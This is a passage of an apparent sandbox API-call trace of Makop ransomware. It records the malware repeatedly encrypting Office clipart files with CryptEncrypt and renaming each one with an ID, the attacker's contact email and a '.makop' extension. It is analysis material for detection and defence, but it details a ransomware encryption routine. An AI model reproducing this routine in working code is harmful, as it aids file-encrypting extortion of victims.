pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.553] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.554] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.554] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.554] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2332, lpOverlapped=0x0) returned 1 [0113.556] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2340, dwBufLen=0x2340 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2340) returned 1 [0113.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2340, lpOverlapped=0x0) returned 1 [0113.556] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.556] SetEndOfFile (hFile=0xf0) returned 1 [0113.563] GetProcessHeap () returned 0x48a0000 [0113.563] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.563] GetProcessHeap () returned 0x48a0000 [0113.563] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.563] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.564] CloseHandle (hObject=0xf0) returned 1 [0113.564] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0113.564] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0113.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.604] GetProcessHeap () returned 0x48a0000 [0113.604] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.604] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.604] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.605] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.605] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.605] GetProcessHeap () returned 0x48a0000 [0113.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.609] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.610] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.610] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.610] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.610] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3690, lpOverlapped=0x0) returned 1 [0113.612] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3690, dwBufLen=0x3690 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3690) returned 1 [0113.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.612] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3690, lpOverlapped=0x0) returned 1 [0113.613] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.613] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.613] SetEndOfFile (hFile=0xf0) returned 1 [0113.619] GetProcessHeap () returned 0x48a0000 [0113.619] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.619] GetProcessHeap () returned 0x48a0000 [0113.619] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.619] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.620] CloseHandle (hObject=0xf0) returned 1 [0113.621] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0113.621] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0113.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.621] GetProcessHeap () returned 0x48a0000 [0113.621] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.622] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.622] GetProcessHeap () returned 0x48a0000 [0113.622] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.622] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.622] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.626] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.626] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.626] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.626] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.627] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.627] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.627] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.627] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.627] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa6d0, lpOverlapped=0x0) returned 1 [0113.629] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa6d0, dwBufLen=0xa6d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa6d0) returned 1 [0113.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.630] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa6d0, lpOverlapped=0x0) returned 1 [0113.630] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.630] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.630] SetEndOfFile (hFile=0xf0) returned 1 [0113.637] GetProcessHeap () returned 0x48a0000 [0113.637] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.637] GetProcessHeap () returned 0x48a0000 [0113.637] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.637] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.638] CloseHandle (hObject=0xf0) returned 1 [0113.638] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0113.639] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0113.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.641] GetProcessHeap () returned 0x48a0000 [0113.641] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.641] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.648] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.648] GetProcessHeap () returned 0x48a0000 [0113.648] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.648] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.648] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.649] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.649] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b3c, lpOverlapped=0x0) returned 1 [0113.651] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b40) returned 1 [0113.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b40, lpOverlapped=0x0) returned 1 [0113.651] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.652] SetEndOfFile (hFile=0xf0) returned 1 [0113.658] GetProcessHeap () returned 0x48a0000 [0113.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.658] GetProcessHeap () returned 0x48a0000 [0113.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.659] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.660] CloseHandle (hObject=0xf0) returned 1 [0113.660] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0113.660] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0113.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.661] GetProcessHeap () returned 0x48a0000 [0113.661] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.661] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0113.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, 